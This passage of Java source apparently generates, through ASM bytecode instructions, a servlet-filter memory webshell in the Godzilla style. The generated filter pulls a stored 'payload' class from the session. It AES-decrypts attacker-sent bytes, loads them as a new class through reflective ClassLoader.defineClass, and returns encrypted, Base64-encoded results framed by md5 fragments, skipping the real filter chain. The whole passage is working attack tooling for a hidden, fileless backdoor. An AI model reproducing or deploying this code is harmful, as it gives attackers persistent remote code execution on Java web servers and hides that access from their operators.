"(II)Ljava/lang/String;", false);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/PrintWriter", "write",
|
||||
"(Ljava/lang/String;)V", false);
|
||||
|
||||
// f.toString();
|
||||
mv.visitVarInsn(Opcodes.ALOAD, instanceIndex); // Load f
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "toString",
|
||||
"()Ljava/lang/String;", false);
|
||||
mv.visitInsn(Opcodes.POP); // Discard result
|
||||
|
||||
// Re-initialize cipher for encryption
|
||||
// cipherInitMethod.invoke(cipher, 1, secretKeySpec);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, cipherInitMethodIndex); // Load cipherInitMethod
|
||||
mv.visitVarInsn(Opcodes.ALOAD, cipherIndex); // Load cipher
|
||||
mv.visitInsn(Opcodes.ICONST_2);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitInsn(Opcodes.ICONST_1); // Constant 1 for Cipher.ENCRYPT_MODE
|
||||
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Integer", "valueOf",
|
||||
"(I)Ljava/lang/Integer;", false);
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, secretKeySpecIndex); // Load secretKeySpec
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
|
||||
"invoke",
|
||||
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
mv.visitInsn(Opcodes.POP);
|
||||
|
||||
// byte[] encryptBytes = (byte[]) doFinalMethod.invoke(cipher,
|
||||
// arrOut.toByteArray());
|
||||
mv.visitVarInsn(Opcodes.ALOAD, doFinalMethodIndex); // Load doFinalMethod
|
||||
mv.visitVarInsn(Opcodes.ALOAD, cipherIndex); // Load cipher
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, arrOutIndex); // Load arrOut
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/ByteArrayOutputStream",
|
||||
"toByteArray", "()[B", false);
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
|
||||
"invoke",
|
||||
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
mv.visitTypeInsn(Opcodes.CHECKCAST, "[B");
|
||||
mv.visitVarInsn(Opcodes.ASTORE, encryptBytesIndex); // Store encryptBytes in local var 28
|
||||
|
||||
tryEncodeBase64(base64ClassIndex, encoderClassIndex, encryptBytesIndex, resultIndex, base64EncodeExceptionIndex);
|
||||
|
||||
// writer.write(result);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, writerIndex); // Load writer
|
||||
mv.visitVarInsn(Opcodes.ALOAD, resultIndex); // Load result
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/PrintWriter", "write",
|
||||
"(Ljava/lang/String;)V", false);
|
||||
|
||||
// writer.write(md5.substring(16));
|
||||
mv.visitVarInsn(Opcodes.ALOAD, writerIndex); // Load writer
|
||||
mv.visitVarInsn(Opcodes.ALOAD, md5Index); // Load md5
|
||||
mv.visitIntInsn(Opcodes.BIPUSH, 16);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/String", "substring",
|
||||
"(I)Ljava/lang/String;", false);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/PrintWriter", "write",
|
||||
"(Ljava/lang/String;)V", false);
|
||||
|
||||
// Return from the method without calling original doFilter
|
||||
mv.visitInsn(Opcodes.RETURN);
|
||||
|
||||
// Label for when header value doesn't match
|
||||
mv.visitLabel(ifNullLabel);
|
||||
|
||||
// End of try block
|
||||
mv.visitLabel(tryEnd);
|
||||
|
||||
// Skip catch block if we didn't enter it
|
||||
Label afterCatch = new Label();
|
||||
mv.visitJumpInsn(Opcodes.GOTO, afterCatch);
|
||||
|
||||
// Start of catch block
|
||||
mv.visitLabel(catchHandler);
|
||||
// The exception is now on the stack
|
||||
mv.visitVarInsn(Opcodes.ASTORE, outerExceptionIndex); // Store exception in local var 10 and discard it
|
||||
mv.visitVarInsn(Opcodes.ALOAD, outerExceptionIndex);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Exception", "printStackTrace", "()V", false);
|
||||
// End of catch block
|
||||
mv.visitLabel(afterCatch);
|
||||
}
|
||||
|
||||
private void tryEncodeBase64(int base64ClassIndex, int encoderClassIndex, int encryptBytesIndex, int resultIndex, int base64EncodeExceptionIndex) {
|
||||
// Encoding encrypted bytes with Base64
|
||||
// Try first with java.util.Base64
|
||||
Label base64EncodeTrialStart = new Label();
|
||||
Label base64EncodeCatch = new Label();
|
||||
Label afterBase64Encode = new Label();
|
||||
|
||||
mv.visitTryCatchBlock(base64EncodeTrialStart, afterBase64Encode, base64EncodeCatch, "java/lang/Throwable");
|
||||
|
||||
mv.visitLabel(base64EncodeTrialStart);
|
||||
|
||||
// base64 = Class.forName("java.util.Base64");
|
||||
mv.visitLdcInsn("java.util.Base64");
|
||||
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Class", "forName",
|
||||
"(Ljava/lang/String;)Ljava/lang/Class;",
|
||||
false);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, base64ClassIndex); // Store base64 class in local var 29
|
||||
|
||||
// Object encoder = base64.getMethod("getEncoder").invoke(base64);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, base64ClassIndex); // Load base64 class
|
||||
mv.visitLdcInsn("getEncoder");
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
|
||||
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, base64ClassIndex); // Load base64 class
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
|
||||
"invoke",
|
||||
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, encoderClassIndex); // Store encoder in local var 30
|
||||
|
||||
// result = (String) encoder.getClass().getMethod("encodeToString",
|
||||
// byte[].class).invoke(encoder, encryptBytes);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, encoderClassIndex); // Load encoder
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass",
|
||||
"()Ljava/lang/Class;", false);
|
||||
mv.visitLdcInsn("encodeToString");
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitLdcInsn(Type.getType("[B"));
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
|
||||
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, encoderClassIndex); // Load encoder
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, encryptBytesIndex); // Load encryptBytes
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
|
||||
"invoke",
|
||||
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
mv.visitTypeInsn(Opcodes.CHECKCAST, "java/lang/String");
|
||||
mv.visitVarInsn(Opcodes.ASTORE, resultIndex); // Store result in local var 31
|
||||
|
||||
mv.visitJumpInsn(Opcodes.GOTO, afterBase64Encode);
|
||||
|
||||
// Fallback to sun.misc.BASE64Encoder
|
||||
mv.visitLabel(base64EncodeCatch);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, base64EncodeExceptionIndex); // Store exception in local var 32
|
||||
|
||||
// base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
mv.visitLdcInsn("sun.misc.BASE64Encoder");
|
||||
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Class", "forName",
|
||||
"(Ljava/lang/String;)Ljava/lang/Class;",
|
||||
false);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, base64ClassIndex); // Store base64 class in local var 29
|
||||
|
||||
// Object encoder = base64.newInstance();
|
||||
mv.visitVarInsn(Opcodes.ALOAD, base64ClassIndex); // Load base64 class
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "newInstance",
|
||||
"()Ljava/lang/Object;", false);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, encoderClassIndex); // Store encoder in local var 30
|
||||
|
||||
// result = (String) encoder.getClass().getMethod("encode",
|
||||
// byte[].class).invoke(encoder, encryptBytes);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, encoderClassIndex); // Load encoder
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass",
|
||||
"()Ljava/lang/Class;", false);
|
||||
mv.visitLdcInsn("encode");
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitLdcInsn(Type.getType("[B"));
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
|
||||
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, encoderClassIndex); // Load encoder
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, encryptBytesIndex); // Load encryptBytes
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
|
||||
"invoke",
|
||||
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
mv.visitTypeInsn(Opcodes.CHECKCAST, "java/lang/String");
|
||||
mv.visitVarInsn(Opcodes.ASTORE, resultIndex); // Store result in local var 31
|
||||
|
||||
mv.visitLabel(afterBase64Encode);
|
||||
}
|
||||
|
||||
private void defineClassWhenFirstInvoke(int defineClassIndex, int dataIndex, int payloadClassIndex, int sessionIndex) {
|
||||
// Define class from bytes
|
||||
// Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass",
|
||||
// byte[].class, int.class, int.class);
|
||||
mv.visitLdcInsn(Type.getType("Ljava/lang/ClassLoader;"));
|
||||
mv.visitLdcInsn("defineClass");
|
||||
mv.visitInsn(Opcodes.ICONST_3);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitLdcInsn(Type.getType("[B"));
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitFieldInsn(Opcodes.GETSTATIC, "java/lang/Integer", "TYPE",
|
||||
"Ljava/lang/Class;");
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_2);
|
||||
mv.visitFieldInsn(Opcodes.GETSTATIC, "java/lang/Integer", "TYPE",
|
||||
"Ljava/lang/Class;");
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class",
|
||||
"getDeclaredMethod",
|
||||
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, defineClassIndex); // Store defineClass in local var 23
|
||||
|
||||
// defineClass.setAccessible(true);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, defineClassIndex); // Load defineClass
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
|
||||
"setAccessible", "(Z)V", false);
|
||||
|
||||
// Class<?> payload = (Class<?>)
|
||||
// defineClass.invoke(Thread.currentThread().getContextClassLoader(),
|
||||
// data, 0, data.length);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, defineClassIndex); // Load defineClass
|
||||
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Thread", "currentThread",
|
||||
"()Ljava/lang/Thread;", false);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Thread",
|
||||
"getContextClassLoader",
|
||||
"()Ljava/lang/ClassLoader;", false);
|
||||
mv.visitInsn(Opcodes.ICONST_3);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, dataIndex); // Load data
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Integer", "valueOf",
|
||||
"(I)Ljava/lang/Integer;", false);
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_2);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, dataIndex); // Load data
|
||||
mv.visitInsn(Opcodes.ARRAYLENGTH);
|
||||
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Integer", "valueOf",
|
||||
"(I)Ljava/lang/Integer;", false);
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
|
||||
"invoke",
|
||||
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, payloadClassIndex); // Store payload class in local var 24
|
||||
|
||||
// session.getClass().getMethod("setAttribute", String.class, Object.class)
|
||||
// .invoke(session, "payload", payload);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, sessionIndex); // Load session
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass",
|
||||
"()Ljava/lang/Class;", false);
|
||||
mv.visitLdcInsn("setAttribute");
|
||||
mv.visitInsn(Opcodes.ICONST_2);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitLdcInsn(Type.getType("Ljava/lang/String;"));
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitLdcInsn(Type.getType("Ljava/lang/Object;"));
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
|
||||
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, sessionIndex); // Load session
|
||||
mv.visitInsn(Opcodes.ICONST_2);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitLdcInsn("payload");
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, payloadClassIndex); // Load payload class
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
|
||||
"invoke",
|
||||
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
mv.visitInsn(Opcodes.POP);
|
||||
|
||||
// If first-time class loading - return true
|
||||
mv.visitInsn(Opcodes.RETURN);
|
||||
}
|
||||
|
||||
private void getSessionPayload(int requestIndex, int sessionIndex, int sessionPayloadIndex) {
|
||||
// Get session
|
||||
// Object session =
|
||||
// request.getClass().getMethod("getSession").invoke(request);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass",
|
||||
"()Ljava/lang/Class;", false);
|
||||
mv.visitLdcInsn("getSession");
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
|
||||
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
|
||||
"invoke",
|
||||
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, sessionIndex); // Store session in local var 21
|
||||
|
||||
// Get sessionPayload
|
||||
// Object sessionPayload = session.getClass().getMethod("getAttribute",
|
||||
// String.class)
|
||||
// .invoke(session, "payload");
|
||||
mv.visitVarInsn(Opcodes.ALOAD, sessionIndex); // Load session
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass",
|
||||
"()Ljava/lang/Class;", false);
|
||||
mv.visitLdcInsn("getAttribute");
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitLdcInsn(Type.getType("Ljava/lang/String;"));
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
|
||||
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, sessionIndex); // Load session
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitLdcInsn("payload");
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
|
||||
"invoke",
|
||||
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, sessionPayloadIndex); // Store sessionPayload in local var 22
|
||||
}
|
||||
|
||||
private void decryptData(int cipherClassIndex, int secretKeySpecClassIndex, int keyClassIndex, int cipherInitMethodIndex, int doFinalMethodIndex, int cipherIndex, int keyIndex, int secretKeySpecIndex, int dataIndex) {
|
||||
// Load crypto classes
|
||||
// Class<?> cipherClass = Class.forName("javax.crypto.Cipher"...
|
||||
mv.visitLdcInsn("javax.crypto.Cipher");
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Thread", "currentThread", "()Ljava/lang/Thread;", false);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Thread", "getContextClassLoader",
|
||||
"()Ljava/lang/ClassLoader;", false);
|
||||
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Class", "forName",
|
||||
"(Ljava/lang/String;ZLjava/lang/ClassLoader;)Ljava/lang/Class;", false);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, cipherClassIndex); // Store cipherClass in local var 14
|
||||
|
||||
// Class<?> secretKeySpecClass =
|
||||
// Class.forName("javax.crypto.spec.SecretKeySpec"...
|
||||
mv.visitLdcInsn("javax.crypto.spec.SecretKeySpec");
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Thread", "currentThread", "()Ljava/lang/Thread;", false);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Thread", "getContextClassLoader",
|
||||
"()Ljava/lang/ClassLoader;", false);
|
||||
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Class", "forName",
|
||||
"(Ljava/lang/String;ZLjava/lang/ClassLoader;)Ljava/lang/Class;", false);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, secretKeySpecClassIndex); // Store secretKeySpecClass in local var 15
|
||||
|
||||
// Class<?> keyClass = Class.forName("java.security.Key"...
|
||||
mv.visitLdcInsn("java.security.Key");
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Thread", "currentThread", "()Ljava/lang/Thread;", false);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Thread", "getContextClassLoader",
|
||||
"()Ljava/lang/ClassLoader;", false);
|
||||
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Class", "forName",
|
||||
"(Ljava/lang/String;ZLjava/lang/ClassLoader;)Ljava/lang/Class;", false);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, keyClassIndex); // Store keyClass in local var 16
|
||||
|
||||
// Get cipher methods
|
||||
// Method cipherInitMethod = cipherClass.getMethod("init", int.class, keyClass);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, cipherClassIndex); // Load cipherClass
|
||||
mv.visitLdcInsn("init");
|
||||
mv.visitInsn(Opcodes.ICONST_2);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitFieldInsn(Opcodes.GETSTATIC, "java/lang/Integer", "TYPE", "Ljava/lang/Class;");
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, keyClassIndex); // Load keyClass
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
|
||||
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, cipherInitMethodIndex); // Store cipherInitMethod in local var 17
|
||||
|
||||
// Method doFinalMethod = cipherClass.getMethod("doFinal", byte[].class);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, cipherClassIndex); // Load cipherClass
|
||||
mv.visitLdcInsn("doFinal");
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitLdcInsn(Type.getType("[B"));
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
|
||||
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, doFinalMethodIndex); // Store doFinalMethod in local var 18
|
||||
|
||||
// Create cipher and secret key
|
||||
// Object cipher = cipherClass.getMethod("getInstance",
|
||||
// String.class).invoke(cipherClass, "AES");
|
||||
mv.visitVarInsn(Opcodes.ALOAD, cipherClassIndex); // Load cipherClass
|
||||
mv.visitLdcInsn("getInstance");
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitLdcInsn(Type.getType("Ljava/lang/String;"));
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
|
||||
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, cipherClassIndex); // Load cipherClass
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitLdcInsn("AES");
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke",
|
||||
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, cipherIndex); // Store cipher in local var 19
|
||||
|
||||
// Object secretKeySpec = secretKeySpecClass.getConstructor(byte[].class,
|
||||
// String.class)
|
||||
// .newInstance(key.getBytes(), "AES");
|
||||
mv.visitVarInsn(Opcodes.ALOAD, secretKeySpecClassIndex); // 加载 secretKeySpecClass
|
||||
mv.visitInsn(Opcodes.ICONST_2); // 构造函数参数数量为 2
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); // 创建 Class[] 数组
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0); // 数组索引 0
|
||||
mv.visitLdcInsn(Type.getType("[B")); // byte[].class
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_1); // 数组索引 1
|
||||
mv.visitLdcInsn(Type.getType("Ljava/lang/String;")); // String.class
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getConstructor",
|
||||
"([Ljava/lang/Class;)Ljava/lang/reflect/Constructor;", false);
|
||||
|
||||
// 准备构造函数参数
|
||||
mv.visitInsn(Opcodes.ICONST_2);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0); // 数组索引 0
|
||||
|
||||
// 调用 key.getBytes()
|
||||
mv.visitVarInsn(Opcodes.ALOAD, keyIndex); // 加载 key
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/String", "getBytes", "()[B", false);
|
||||
mv.visitInsn(Opcodes.AASTORE); // 存储 byte[] 到参数数组
|
||||
|
||||
// 存储第二个参数 "AES"
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_1); // 数组索引 1
|
||||
mv.visitLdcInsn("AES"); // 加载字符串 "AES"
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Constructor", "newInstance",
|
||||
